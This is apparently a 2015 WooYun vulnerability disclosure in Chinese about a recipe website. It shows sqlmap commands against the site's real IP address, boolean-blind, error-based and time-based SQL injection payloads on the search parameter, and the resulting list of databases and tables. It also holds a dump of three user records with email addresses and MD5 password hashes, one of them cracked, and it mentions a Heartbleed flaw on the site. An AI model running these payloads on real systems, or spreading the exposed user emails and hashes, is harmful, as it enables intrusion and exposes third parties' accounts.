当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152486

漏洞标题：某美食网主站存在sql注入及心脏滴血漏洞

相关厂商：喜宝美食网

漏洞作者： 0error-0warning

提交时间：2015-11-08 20:05

修复时间：2015-12-23 20:06

公开时间：2015-12-23 20:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

以后妈妈再也不用愁我不会做饭了。

详细说明：

http://www.xibao360.com/


D:\Python27\sqlmap>sqlmap.py -u "http://121.40.212.164/search/?q=1" --dbs --batch
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=1%' AND 1962=1962 AND '%'='
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: q=1%' AND (SELECT 8058 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SE
LECT (ELT(8058=8058,1))),0x716b627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x)a) AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: q=1%' AND (SELECT * FROM (SELECT(SLEEP(5)))bQEW) AND '%'='
---
available databases [11]:
[*] cdcol
[*] data
[*] data_caipu
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
[*] yinshi
[*] yinshi_temp


比较关心data_caipu，试试看

D:\Python27\sqlmap>sqlmap.py -u "http://121.40.212.164/search/?q=1" -D data_caipu --tables --batch
Database: data_caipu
[26 tables]
+---------------+
| ys_art        |
| ys_art_grade  |
| ys_ask        |
| ys_caipu      |
| ys_cat        |
| ys_category   |
| ys_comment    |
| ys_cookbook   |
| ys_follow     |
| ys_health     |
| ys_knowlage   |
| ys_link       |
| ys_look       |
| ys_love       |
| ys_message    |
| ys_nav2       |
| ys_nav_3      |
| ys_nav_7      |
| ys_nav_seo    |
| ys_page       |
| ys_shiliao    |
| ys_shoucang   |
| ys_slide      |
| ys_user       |
| ys_user_level |
| ys_web        |
+---------------+


dump点数据出来

D:\Python27\sqlmap>sqlmap.py -u "http://121.40.212.164/search/?q=1" -D data_caipu -T ys_user --dump -
-stop 3 --batch
Database: data_caipu
Table: ys_user
[3 entries]
+-----+-----+------+----------+------+-----------------------+------------------
-+------------+---------+---------+-------------------------------------------+-
---------+
| uid | hit | url  | name     | love | photo                 | email
 | date       | level   | chufang | password                                  |
qianming |
+-----+-----+------+----------+------+-----------------------+------------------
-+------------+---------+---------+-------------------------------------------+-
---------+
| 1   | 568 | NULL | 饭桶       | 0    | Upload/nophotobig.jpg | 2216274981@qq.c
om | 1438056321 | 1       | 厨房      | a1aded0db590352c29f5109fc52331e2
  | NULL     |
| 2   | 485 | NULL | tianqi   | 0    | Upload/nophotobig.jpg | 493517727@qq.com
 | 1439261954 | 1       | 厨房      | e10adc3949ba59abbe56e057f20f883e (123456)
| NULL     |
| 3   | 495 | NULL | dgcbeyqr | 0    | Upload/nophotobig.jpg | kcvncs@phjegs.com
 | 1438056000 | 1       | 厨房      | d41d8cd98f00b204e9800998ecf8427e ()
| NULL     |
+-----+-----+------+----------+------+-----------------------+------------------
-+------------+---------+---------+-------------------------------------------+-
---------+


最后还发现了主站存在心脏滴血漏洞

12.png

漏洞证明：

如上

修复方案：

null

版权声明：转载请注明来源 0error-0warning@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝